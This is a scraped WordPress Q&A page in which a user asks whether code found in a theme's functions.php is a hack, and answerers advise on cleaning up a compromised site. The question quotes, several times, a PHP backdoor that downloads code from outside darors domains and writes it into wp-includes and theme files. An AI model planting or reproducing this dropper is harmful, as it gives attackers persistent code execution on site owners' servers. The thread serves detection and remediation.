Is this a hacking script in function.php?2019 Community Moderator ElectionIs using eval() ok in this scenarioPrevent Hacking of Wordpress SiteWhere do hackers usually run their hacking script?Updating From Mobile App - Exposing Site to HackingLoad files contentWhy is file_get_contents returning page source?Hacked WordPress website, as notified by Google Search Console, what to do?Adding function to child theme's function.phpCan't save php string to a custom fieldHacked site. Fixed. Nailing down the cause

What is the offset in a seaplane's hull?

How to find program name(s) of an installed package?

Writing rule stating superpower from different root cause is bad writing

How could an uplifted falcon's brain work?

Can divisibility rules for digits be generalized to sum of digits

TGV timetables / schedules?

Arthur Somervell: 1000 Exercises - Meaning of this notation

Is it tax fraud for an individual to declare non-taxable revenue as taxable income? (US tax laws)

If I cast Expeditious Retreat, can I Dash as a bonus action on the same turn?

Is it important to consider tone, melody, and musical form while writing a song?

Why dont electromagnetic waves interact with each other?

Can I make popcorn with any corn?

Why are electrically insulating heatsinks so rare? Is it just cost?

Why did the Germans forbid the possession of pet pigeons in Rostov-on-Don in 1941?

Fencing style for blades that can attack from a distance

Why can't I see bouncing of a switch on an oscilloscope?

Modeling an IPv4 Address

Problem of parity - Can we draw a closed path made up of 20 line segments...

Why was the small council so happy for Tyrion to become the Master of Coin?

How did the USSR manage to innovate in an environment characterized by government censorship and high bureaucracy?

Email Account under attack (really) - anything I can do?

How can I make my BBEG immortal short of making them a Lich or Vampire?

Python: next in for loop

Example of a continuous function that don't have a continuous extension



Is this a hacking script in function.php?



2019 Community Moderator ElectionIs using eval() ok in this scenarioPrevent Hacking of Wordpress SiteWhere do hackers usually run their hacking script?Updating From Mobile App - Exposing Site to HackingLoad files contentWhy is file_get_contents returning page source?Hacked WordPress website, as notified by Google Search Console, what to do?Adding function to child theme's function.phpCan't save php string to a custom fieldHacked site. Fixed. Nailing down the cause



.everyoneloves__top-leaderboard:empty,.everyoneloves__mid-leaderboard:empty,.everyoneloves__bot-mid-leaderboard:empty margin-bottom:0;








2















I have code like below in neve theme WordPress. I feel suspicious about this code



$wp_auth_key='ac15616a33a4bae1388c29de0202c5e1';
if (($tmpcontent = @file_get_contents("http://www.darors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.darors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false)

if (stripos($tmpcontent, $wp_auth_key) !== false)
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php'))
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php'))
@file_put_contents('wp-tmp.php', $tmpcontent);







elseif ($tmpcontent = @file_get_contents("http://www.darors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false )

if (stripos($tmpcontent, $wp_auth_key) !== false)
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php'))
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php'))
@file_put_contents('wp-tmp.php', $tmpcontent);






elseif ($tmpcontent = @file_get_contents("http://www.darors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {









share|improve this question






















  • It looks like this might be something intended to check a license key for a paid theme/plugin. It kinda depends on what http://www.darors.pw/code.php contains.

    – ceejayoz
    Apr 3 at 19:15











  • That doesn't look like a license key check @ceejayoz. Why would a theme/plugin write a file to a core WP directory (/wp-includes/)?

    – butlerblog
    2 days ago











  • @butlerblog Again, without the contents of that code.php file it's hard to know. It's possible it puts something outside the theme directory because of simple bad coding - hardly uncommon.

    – ceejayoz
    2 days ago











  • I agree that there's plenty of bad coding out there; but bad coding is exactly that - "bad." Would you trust it? I know I wouldn't.

    – butlerblog
    2 days ago

















2















I have code like below in neve theme WordPress. I feel suspicious about this code



$wp_auth_key='ac15616a33a4bae1388c29de0202c5e1';
if (($tmpcontent = @file_get_contents("http://www.darors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.darors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false)

if (stripos($tmpcontent, $wp_auth_key) !== false)
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php'))
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php'))
@file_put_contents('wp-tmp.php', $tmpcontent);







elseif ($tmpcontent = @file_get_contents("http://www.darors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false )

if (stripos($tmpcontent, $wp_auth_key) !== false)
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php'))
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php'))
@file_put_contents('wp-tmp.php', $tmpcontent);






elseif ($tmpcontent = @file_get_contents("http://www.darors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {









share|improve this question






















  • It looks like this might be something intended to check a license key for a paid theme/plugin. It kinda depends on what http://www.darors.pw/code.php contains.

    – ceejayoz
    Apr 3 at 19:15











  • That doesn't look like a license key check @ceejayoz. Why would a theme/plugin write a file to a core WP directory (/wp-includes/)?

    – butlerblog
    2 days ago











  • @butlerblog Again, without the contents of that code.php file it's hard to know. It's possible it puts something outside the theme directory because of simple bad coding - hardly uncommon.

    – ceejayoz
    2 days ago











  • I agree that there's plenty of bad coding out there; but bad coding is exactly that - "bad." Would you trust it? I know I wouldn't.

    – butlerblog
    2 days ago













2












2








2


2






I have code like below in neve theme WordPress. I feel suspicious about this code



$wp_auth_key='ac15616a33a4bae1388c29de0202c5e1';
if (($tmpcontent = @file_get_contents("http://www.darors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.darors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false)

if (stripos($tmpcontent, $wp_auth_key) !== false)
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php'))
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php'))
@file_put_contents('wp-tmp.php', $tmpcontent);







elseif ($tmpcontent = @file_get_contents("http://www.darors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false )

if (stripos($tmpcontent, $wp_auth_key) !== false)
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php'))
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php'))
@file_put_contents('wp-tmp.php', $tmpcontent);






elseif ($tmpcontent = @file_get_contents("http://www.darors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {









share|improve this question














I have code like below in neve theme WordPress. I feel suspicious about this code



$wp_auth_key='ac15616a33a4bae1388c29de0202c5e1';
if (($tmpcontent = @file_get_contents("http://www.darors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.darors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false)

if (stripos($tmpcontent, $wp_auth_key) !== false)
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php'))
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php'))
@file_put_contents('wp-tmp.php', $tmpcontent);







elseif ($tmpcontent = @file_get_contents("http://www.darors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false )

if (stripos($tmpcontent, $wp_auth_key) !== false)
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php'))
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php'))
@file_put_contents('wp-tmp.php', $tmpcontent);






elseif ($tmpcontent = @file_get_contents("http://www.darors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {






php hacked






share|improve this question













share|improve this question











share|improve this question




share|improve this question










asked Apr 3 at 16:49









Latheesh V M VillaLatheesh V M Villa

3541220




3541220












  • It looks like this might be something intended to check a license key for a paid theme/plugin. It kinda depends on what http://www.darors.pw/code.php contains.

    – ceejayoz
    Apr 3 at 19:15











  • That doesn't look like a license key check @ceejayoz. Why would a theme/plugin write a file to a core WP directory (/wp-includes/)?

    – butlerblog
    2 days ago











  • @butlerblog Again, without the contents of that code.php file it's hard to know. It's possible it puts something outside the theme directory because of simple bad coding - hardly uncommon.

    – ceejayoz
    2 days ago











  • I agree that there's plenty of bad coding out there; but bad coding is exactly that - "bad." Would you trust it? I know I wouldn't.

    – butlerblog
    2 days ago

















  • It looks like this might be something intended to check a license key for a paid theme/plugin. It kinda depends on what http://www.darors.pw/code.php contains.

    – ceejayoz
    Apr 3 at 19:15











  • That doesn't look like a license key check @ceejayoz. Why would a theme/plugin write a file to a core WP directory (/wp-includes/)?

    – butlerblog
    2 days ago











  • @butlerblog Again, without the contents of that code.php file it's hard to know. It's possible it puts something outside the theme directory because of simple bad coding - hardly uncommon.

    – ceejayoz
    2 days ago











  • I agree that there's plenty of bad coding out there; but bad coding is exactly that - "bad." Would you trust it? I know I wouldn't.

    – butlerblog
    2 days ago
















It looks like this might be something intended to check a license key for a paid theme/plugin. It kinda depends on what http://www.darors.pw/code.php contains.

– ceejayoz
Apr 3 at 19:15





It looks like this might be something intended to check a license key for a paid theme/plugin. It kinda depends on what http://www.darors.pw/code.php contains.

– ceejayoz
Apr 3 at 19:15













That doesn't look like a license key check @ceejayoz. Why would a theme/plugin write a file to a core WP directory (/wp-includes/)?

– butlerblog
2 days ago





That doesn't look like a license key check @ceejayoz. Why would a theme/plugin write a file to a core WP directory (/wp-includes/)?

– butlerblog
2 days ago













@butlerblog Again, without the contents of that code.php file it's hard to know. It's possible it puts something outside the theme directory because of simple bad coding - hardly uncommon.

– ceejayoz
2 days ago





@butlerblog Again, without the contents of that code.php file it's hard to know. It's possible it puts something outside the theme directory because of simple bad coding - hardly uncommon.

– ceejayoz
2 days ago













I agree that there's plenty of bad coding out there; but bad coding is exactly that - "bad." Would you trust it? I know I wouldn't.

– butlerblog
2 days ago





I agree that there's plenty of bad coding out there; but bad coding is exactly that - "bad." Would you trust it? I know I wouldn't.

– butlerblog
2 days ago










3 Answers
3






active

oldest

votes


















5














I would agree that there is a strong possibility of a hacked site with that code. The @file_put_contents statement is trying to write to your wp-admin folder. That's not good.



So I would recommend a de-hacking inspection. If you think your site got hacked, there are several (many) things you must do to 'de-hack' it. Including:



  • changing all passwords (WP admins, FTP, hosting, database)

  • reinstalling WP (via the Updates page) and then reinstalling all themes (from the repository) and plugins manually.

  • checking for unknown files (via your hosting File Manager; if you sort by date, invalid ones should stick out because you updated everything).

There are lots of help in the googles on how to de-hack a site. I wrote a set of procedures that I use. It can be done, though, just takes a bit of work.






share|improve this answer























  • These procedures are very useful to know, thanks for posting them. But how does code get injected into a theme's functions.php like this? Can it be prevented or is just monitoring and de-hacking the way to deal with such cases?

    – jsmod
    Apr 3 at 18:14






  • 1





    There's a lot of ways that the code can get there. There have been several vulns of WP plugins lately that can allow admin access (privilege escalation) that allow for code insertion. Prevention, IMHO, is by good security practices (strong passwords everywhere - hosting, FTP, admin-level), watching the user accounts, using plugins that are kept current, keeping WP/themes/plugins updated, etc. And watching the site - looking at generated page code, looking for files that aren't supposed to be there, etc. And ensuring your dev computers are also secure and protected.

    – Rick Hellewell
    Apr 3 at 19:07






  • 1





    I took the time to investigate a hack on a site that I cleaned up. That particular one used a vuln in the xmlprc.prg process. There are ways to block that particular feature in WP, which I detailed here: securitydawg.com/analyzing-a-wordpress-hack . The hack on that site was done via xmlprc.prg - I had evidence of it via the raw access logs on the server. The folks at the Internet Storm Center helped with the analysis, and suggested that was the attack vector. So all of the sites that I manage don't allow access to xmlprc.prg . But, good security practices also help.

    – Rick Hellewell
    Apr 3 at 19:14











  • Thank you so much for this additional information. I really adds value :) But wouldn't blocking xmlprc also disable the WordPress mobile app?

    – jsmod
    Apr 3 at 19:27







  • 1





    Probably, although I don't use the WP mobile app on any of my sites, so not an issue. There is a way to enable xmlprc on a site and still block it. Take a look here (scroll down to question 21/22): apps.wordpress.com/support/#faq-ios-gs1 . You could also add specific support to users by adjusting the code in my post to check for user accounts to allow access to xmlprc. And, the newer WP API doesn't need xmlprc, which might be a better alternative. See this article for issues: kinsta.com/blog/wordpress-xml-rpc/# . A search for xmlprc will show hacks and protections.

    – Rick Hellewell
    Apr 3 at 19:57



















1














Yes, most probably yes.



It gets some code from remote server and saves it on yours. So yeah - it definitely can be harmful.






share|improve this answer























  • Thanks for confirming I saw this in my client ..have to warn him about that.

    – Latheesh V M Villa
    Apr 3 at 16:56


















0














That's a possibility.



Although, I think it is a mechanism to push theme updates only for sites with a valid license key.



Alternatively, it is backdoor for deleting theme for any compromised key.



It is difficult to say anything for sure without looking at the content which is downloaded.






share|improve this answer








New contributor




Gaurav is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.




















    Your Answer








    StackExchange.ready(function()
    var channelOptions =
    tags: "".split(" "),
    id: "110"
    ;
    initTagRenderer("".split(" "), "".split(" "), channelOptions);

    StackExchange.using("externalEditor", function()
    // Have to fire editor after snippets, if snippets enabled
    if (StackExchange.settings.snippets.snippetsEnabled)
    StackExchange.using("snippets", function()
    createEditor();
    );

    else
    createEditor();

    );

    function createEditor()
    StackExchange.prepareEditor(
    heartbeatType: 'answer',
    autoActivateHeartbeat: false,
    convertImagesToLinks: false,
    noModals: true,
    showLowRepImageUploadWarning: true,
    reputationToPostImages: null,
    bindNavPrevention: true,
    postfix: "",
    imageUploader:
    brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
    contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
    allowUrls: true
    ,
    onDemand: true,
    discardSelector: ".discard-answer"
    ,immediatelyShowMarkdownHelp:true
    );



    );













    draft saved

    draft discarded


















    StackExchange.ready(
    function ()
    StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fwordpress.stackexchange.com%2fquestions%2f333380%2fis-this-a-hacking-script-in-function-php%23new-answer', 'question_page');

    );

    Post as a guest















    Required, but never shown

























    3 Answers
    3






    active

    oldest

    votes








    3 Answers
    3






    active

    oldest

    votes









    active

    oldest

    votes






    active

    oldest

    votes









    5














    I would agree that there is a strong possibility of a hacked site with that code. The @file_put_contents statement is trying to write to your wp-admin folder. That's not good.



    So I would recommend a de-hacking inspection. If you think your site got hacked, there are several (many) things you must do to 'de-hack' it. Including:



    • changing all passwords (WP admins, FTP, hosting, database)

    • reinstalling WP (via the Updates page) and then reinstalling all themes (from the repository) and plugins manually.

    • checking for unknown files (via your hosting File Manager; if you sort by date, invalid ones should stick out because you updated everything).

    There are lots of help in the googles on how to de-hack a site. I wrote a set of procedures that I use. It can be done, though, just takes a bit of work.






    share|improve this answer























    • These procedures are very useful to know, thanks for posting them. But how does code get injected into a theme's functions.php like this? Can it be prevented or is just monitoring and de-hacking the way to deal with such cases?

      – jsmod
      Apr 3 at 18:14






    • 1





      There's a lot of ways that the code can get there. There have been several vulns of WP plugins lately that can allow admin access (privilege escalation) that allow for code insertion. Prevention, IMHO, is by good security practices (strong passwords everywhere - hosting, FTP, admin-level), watching the user accounts, using plugins that are kept current, keeping WP/themes/plugins updated, etc. And watching the site - looking at generated page code, looking for files that aren't supposed to be there, etc. And ensuring your dev computers are also secure and protected.

      – Rick Hellewell
      Apr 3 at 19:07






    • 1





      I took the time to investigate a hack on a site that I cleaned up. That particular one used a vuln in the xmlprc.prg process. There are ways to block that particular feature in WP, which I detailed here: securitydawg.com/analyzing-a-wordpress-hack . The hack on that site was done via xmlprc.prg - I had evidence of it via the raw access logs on the server. The folks at the Internet Storm Center helped with the analysis, and suggested that was the attack vector. So all of the sites that I manage don't allow access to xmlprc.prg . But, good security practices also help.

      – Rick Hellewell
      Apr 3 at 19:14











    • Thank you so much for this additional information. I really adds value :) But wouldn't blocking xmlprc also disable the WordPress mobile app?

      – jsmod
      Apr 3 at 19:27







    • 1





      Probably, although I don't use the WP mobile app on any of my sites, so not an issue. There is a way to enable xmlprc on a site and still block it. Take a look here (scroll down to question 21/22): apps.wordpress.com/support/#faq-ios-gs1 . You could also add specific support to users by adjusting the code in my post to check for user accounts to allow access to xmlprc. And, the newer WP API doesn't need xmlprc, which might be a better alternative. See this article for issues: kinsta.com/blog/wordpress-xml-rpc/# . A search for xmlprc will show hacks and protections.

      – Rick Hellewell
      Apr 3 at 19:57
















    5














    I would agree that there is a strong possibility of a hacked site with that code. The @file_put_contents statement is trying to write to your wp-admin folder. That's not good.



    So I would recommend a de-hacking inspection. If you think your site got hacked, there are several (many) things you must do to 'de-hack' it. Including:



    • changing all passwords (WP admins, FTP, hosting, database)

    • reinstalling WP (via the Updates page) and then reinstalling all themes (from the repository) and plugins manually.

    • checking for unknown files (via your hosting File Manager; if you sort by date, invalid ones should stick out because you updated everything).

    There are lots of help in the googles on how to de-hack a site. I wrote a set of procedures that I use. It can be done, though, just takes a bit of work.






    share|improve this answer























    • These procedures are very useful to know, thanks for posting them. But how does code get injected into a theme's functions.php like this? Can it be prevented or is just monitoring and de-hacking the way to deal with such cases?

      – jsmod
      Apr 3 at 18:14






    • 1





      There's a lot of ways that the code can get there. There have been several vulns of WP plugins lately that can allow admin access (privilege escalation) that allow for code insertion. Prevention, IMHO, is by good security practices (strong passwords everywhere - hosting, FTP, admin-level), watching the user accounts, using plugins that are kept current, keeping WP/themes/plugins updated, etc. And watching the site - looking at generated page code, looking for files that aren't supposed to be there, etc. And ensuring your dev computers are also secure and protected.

      – Rick Hellewell
      Apr 3 at 19:07






    • 1





      I took the time to investigate a hack on a site that I cleaned up. That particular one used a vuln in the xmlprc.prg process. There are ways to block that particular feature in WP, which I detailed here: securitydawg.com/analyzing-a-wordpress-hack . The hack on that site was done via xmlprc.prg - I had evidence of it via the raw access logs on the server. The folks at the Internet Storm Center helped with the analysis, and suggested that was the attack vector. So all of the sites that I manage don't allow access to xmlprc.prg . But, good security practices also help.

      – Rick Hellewell
      Apr 3 at 19:14











    • Thank you so much for this additional information. I really adds value :) But wouldn't blocking xmlprc also disable the WordPress mobile app?

      – jsmod
      Apr 3 at 19:27







    • 1





      Probably, although I don't use the WP mobile app on any of my sites, so not an issue. There is a way to enable xmlprc on a site and still block it. Take a look here (scroll down to question 21/22): apps.wordpress.com/support/#faq-ios-gs1 . You could also add specific support to users by adjusting the code in my post to check for user accounts to allow access to xmlprc. And, the newer WP API doesn't need xmlprc, which might be a better alternative. See this article for issues: kinsta.com/blog/wordpress-xml-rpc/# . A search for xmlprc will show hacks and protections.

      – Rick Hellewell
      Apr 3 at 19:57














    5












    5








    5







    I would agree that there is a strong possibility of a hacked site with that code. The @file_put_contents statement is trying to write to your wp-admin folder. That's not good.



    So I would recommend a de-hacking inspection. If you think your site got hacked, there are several (many) things you must do to 'de-hack' it. Including:



    • changing all passwords (WP admins, FTP, hosting, database)

    • reinstalling WP (via the Updates page) and then reinstalling all themes (from the repository) and plugins manually.

    • checking for unknown files (via your hosting File Manager; if you sort by date, invalid ones should stick out because you updated everything).

    There are lots of help in the googles on how to de-hack a site. I wrote a set of procedures that I use. It can be done, though, just takes a bit of work.






    share|improve this answer













    I would agree that there is a strong possibility of a hacked site with that code. The @file_put_contents statement is trying to write to your wp-admin folder. That's not good.



    So I would recommend a de-hacking inspection. If you think your site got hacked, there are several (many) things you must do to 'de-hack' it. Including:



    • changing all passwords (WP admins, FTP, hosting, database)

    • reinstalling WP (via the Updates page) and then reinstalling all themes (from the repository) and plugins manually.

    • checking for unknown files (via your hosting File Manager; if you sort by date, invalid ones should stick out because you updated everything).

    There are lots of help in the googles on how to de-hack a site. I wrote a set of procedures that I use. It can be done, though, just takes a bit of work.







    share|improve this answer












    share|improve this answer



    share|improve this answer










    answered Apr 3 at 16:56









    Rick HellewellRick Hellewell

    4,00821025




    4,00821025












    • These procedures are very useful to know, thanks for posting them. But how does code get injected into a theme's functions.php like this? Can it be prevented or is just monitoring and de-hacking the way to deal with such cases?

      – jsmod
      Apr 3 at 18:14






    • 1





      There's a lot of ways that the code can get there. There have been several vulns of WP plugins lately that can allow admin access (privilege escalation) that allow for code insertion. Prevention, IMHO, is by good security practices (strong passwords everywhere - hosting, FTP, admin-level), watching the user accounts, using plugins that are kept current, keeping WP/themes/plugins updated, etc. And watching the site - looking at generated page code, looking for files that aren't supposed to be there, etc. And ensuring your dev computers are also secure and protected.

      – Rick Hellewell
      Apr 3 at 19:07






    • 1





      I took the time to investigate a hack on a site that I cleaned up. That particular one used a vuln in the xmlprc.prg process. There are ways to block that particular feature in WP, which I detailed here: securitydawg.com/analyzing-a-wordpress-hack . The hack on that site was done via xmlprc.prg - I had evidence of it via the raw access logs on the server. The folks at the Internet Storm Center helped with the analysis, and suggested that was the attack vector. So all of the sites that I manage don't allow access to xmlprc.prg . But, good security practices also help.

      – Rick Hellewell
      Apr 3 at 19:14











    • Thank you so much for this additional information. I really adds value :) But wouldn't blocking xmlprc also disable the WordPress mobile app?

      – jsmod
      Apr 3 at 19:27







    • 1





      Probably, although I don't use the WP mobile app on any of my sites, so not an issue. There is a way to enable xmlprc on a site and still block it. Take a look here (scroll down to question 21/22): apps.wordpress.com/support/#faq-ios-gs1 . You could also add specific support to users by adjusting the code in my post to check for user accounts to allow access to xmlprc. And, the newer WP API doesn't need xmlprc, which might be a better alternative. See this article for issues: kinsta.com/blog/wordpress-xml-rpc/# . A search for xmlprc will show hacks and protections.

      – Rick Hellewell
      Apr 3 at 19:57


















    • These procedures are very useful to know, thanks for posting them. But how does code get injected into a theme's functions.php like this? Can it be prevented or is just monitoring and de-hacking the way to deal with such cases?

      – jsmod
      Apr 3 at 18:14






    • 1





      There's a lot of ways that the code can get there. There have been several vulns of WP plugins lately that can allow admin access (privilege escalation) that allow for code insertion. Prevention, IMHO, is by good security practices (strong passwords everywhere - hosting, FTP, admin-level), watching the user accounts, using plugins that are kept current, keeping WP/themes/plugins updated, etc. And watching the site - looking at generated page code, looking for files that aren't supposed to be there, etc. And ensuring your dev computers are also secure and protected.

      – Rick Hellewell
      Apr 3 at 19:07






    • 1





      I took the time to investigate a hack on a site that I cleaned up. That particular one used a vuln in the xmlprc.prg process. There are ways to block that particular feature in WP, which I detailed here: securitydawg.com/analyzing-a-wordpress-hack . The hack on that site was done via xmlprc.prg - I had evidence of it via the raw access logs on the server. The folks at the Internet Storm Center helped with the analysis, and suggested that was the attack vector. So all of the sites that I manage don't allow access to xmlprc.prg . But, good security practices also help.

      – Rick Hellewell
      Apr 3 at 19:14











    • Thank you so much for this additional information. I really adds value :) But wouldn't blocking xmlprc also disable the WordPress mobile app?

      – jsmod
      Apr 3 at 19:27







    • 1





      Probably, although I don't use the WP mobile app on any of my sites, so not an issue. There is a way to enable xmlprc on a site and still block it. Take a look here (scroll down to question 21/22): apps.wordpress.com/support/#faq-ios-gs1 . You could also add specific support to users by adjusting the code in my post to check for user accounts to allow access to xmlprc. And, the newer WP API doesn't need xmlprc, which might be a better alternative. See this article for issues: kinsta.com/blog/wordpress-xml-rpc/# . A search for xmlprc will show hacks and protections.

      – Rick Hellewell
      Apr 3 at 19:57

















    These procedures are very useful to know, thanks for posting them. But how does code get injected into a theme's functions.php like this? Can it be prevented or is just monitoring and de-hacking the way to deal with such cases?

    – jsmod
    Apr 3 at 18:14





    These procedures are very useful to know, thanks for posting them. But how does code get injected into a theme's functions.php like this? Can it be prevented or is just monitoring and de-hacking the way to deal with such cases?

    – jsmod
    Apr 3 at 18:14




    1




    1





    There's a lot of ways that the code can get there. There have been several vulns of WP plugins lately that can allow admin access (privilege escalation) that allow for code insertion. Prevention, IMHO, is by good security practices (strong passwords everywhere - hosting, FTP, admin-level), watching the user accounts, using plugins that are kept current, keeping WP/themes/plugins updated, etc. And watching the site - looking at generated page code, looking for files that aren't supposed to be there, etc. And ensuring your dev computers are also secure and protected.

    – Rick Hellewell
    Apr 3 at 19:07





    There's a lot of ways that the code can get there. There have been several vulns of WP plugins lately that can allow admin access (privilege escalation) that allow for code insertion. Prevention, IMHO, is by good security practices (strong passwords everywhere - hosting, FTP, admin-level), watching the user accounts, using plugins that are kept current, keeping WP/themes/plugins updated, etc. And watching the site - looking at generated page code, looking for files that aren't supposed to be there, etc. And ensuring your dev computers are also secure and protected.

    – Rick Hellewell
    Apr 3 at 19:07




    1




    1





    I took the time to investigate a hack on a site that I cleaned up. That particular one used a vuln in the xmlprc.prg process. There are ways to block that particular feature in WP, which I detailed here: securitydawg.com/analyzing-a-wordpress-hack . The hack on that site was done via xmlprc.prg - I had evidence of it via the raw access logs on the server. The folks at the Internet Storm Center helped with the analysis, and suggested that was the attack vector. So all of the sites that I manage don't allow access to xmlprc.prg . But, good security practices also help.

    – Rick Hellewell
    Apr 3 at 19:14





    I took the time to investigate a hack on a site that I cleaned up. That particular one used a vuln in the xmlprc.prg process. There are ways to block that particular feature in WP, which I detailed here: securitydawg.com/analyzing-a-wordpress-hack . The hack on that site was done via xmlprc.prg - I had evidence of it via the raw access logs on the server. The folks at the Internet Storm Center helped with the analysis, and suggested that was the attack vector. So all of the sites that I manage don't allow access to xmlprc.prg . But, good security practices also help.

    – Rick Hellewell
    Apr 3 at 19:14













    Thank you so much for this additional information. I really adds value :) But wouldn't blocking xmlprc also disable the WordPress mobile app?

    – jsmod
    Apr 3 at 19:27






    Thank you so much for this additional information. I really adds value :) But wouldn't blocking xmlprc also disable the WordPress mobile app?

    – jsmod
    Apr 3 at 19:27





    1




    1





    Probably, although I don't use the WP mobile app on any of my sites, so not an issue. There is a way to enable xmlprc on a site and still block it. Take a look here (scroll down to question 21/22): apps.wordpress.com/support/#faq-ios-gs1 . You could also add specific support to users by adjusting the code in my post to check for user accounts to allow access to xmlprc. And, the newer WP API doesn't need xmlprc, which might be a better alternative. See this article for issues: kinsta.com/blog/wordpress-xml-rpc/# . A search for xmlprc will show hacks and protections.

    – Rick Hellewell
    Apr 3 at 19:57






    Probably, although I don't use the WP mobile app on any of my sites, so not an issue. There is a way to enable xmlprc on a site and still block it. Take a look here (scroll down to question 21/22): apps.wordpress.com/support/#faq-ios-gs1 . You could also add specific support to users by adjusting the code in my post to check for user accounts to allow access to xmlprc. And, the newer WP API doesn't need xmlprc, which might be a better alternative. See this article for issues: kinsta.com/blog/wordpress-xml-rpc/# . A search for xmlprc will show hacks and protections.

    – Rick Hellewell
    Apr 3 at 19:57














    1














    Yes, most probably yes.



    It gets some code from remote server and saves it on yours. So yeah - it definitely can be harmful.






    share|improve this answer























    • Thanks for confirming I saw this in my client ..have to warn him about that.

      – Latheesh V M Villa
      Apr 3 at 16:56















    1














    Yes, most probably yes.



    It gets some code from remote server and saves it on yours. So yeah - it definitely can be harmful.






    share|improve this answer























    • Thanks for confirming I saw this in my client ..have to warn him about that.

      – Latheesh V M Villa
      Apr 3 at 16:56













    1












    1








    1







    Yes, most probably yes.



    It gets some code from remote server and saves it on yours. So yeah - it definitely can be harmful.






    share|improve this answer













    Yes, most probably yes.



    It gets some code from remote server and saves it on yours. So yeah - it definitely can be harmful.







    share|improve this answer












    share|improve this answer



    share|improve this answer










    answered Apr 3 at 16:52









    Krzysiek DróżdżKrzysiek Dróżdż

    18.5k73249




    18.5k73249












    • Thanks for confirming I saw this in my client ..have to warn him about that.

      – Latheesh V M Villa
      Apr 3 at 16:56

















    • Thanks for confirming I saw this in my client ..have to warn him about that.

      – Latheesh V M Villa
      Apr 3 at 16:56
















    Thanks for confirming I saw this in my client ..have to warn him about that.

    – Latheesh V M Villa
    Apr 3 at 16:56





    Thanks for confirming I saw this in my client ..have to warn him about that.

    – Latheesh V M Villa
    Apr 3 at 16:56











    0














    That's a possibility.



    Although, I think it is a mechanism to push theme updates only for sites with a valid license key.



    Alternatively, it is backdoor for deleting theme for any compromised key.



    It is difficult to say anything for sure without looking at the content which is downloaded.






    share|improve this answer








    New contributor




    Gaurav is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
    Check out our Code of Conduct.
























      0














      That's a possibility.



      Although, I think it is a mechanism to push theme updates only for sites with a valid license key.



      Alternatively, it is backdoor for deleting theme for any compromised key.



      It is difficult to say anything for sure without looking at the content which is downloaded.






      share|improve this answer








      New contributor




      Gaurav is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
      Check out our Code of Conduct.






















        0












        0








        0







        That's a possibility.



        Although, I think it is a mechanism to push theme updates only for sites with a valid license key.



        Alternatively, it is backdoor for deleting theme for any compromised key.



        It is difficult to say anything for sure without looking at the content which is downloaded.






        share|improve this answer








        New contributor




        Gaurav is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
        Check out our Code of Conduct.










        That's a possibility.



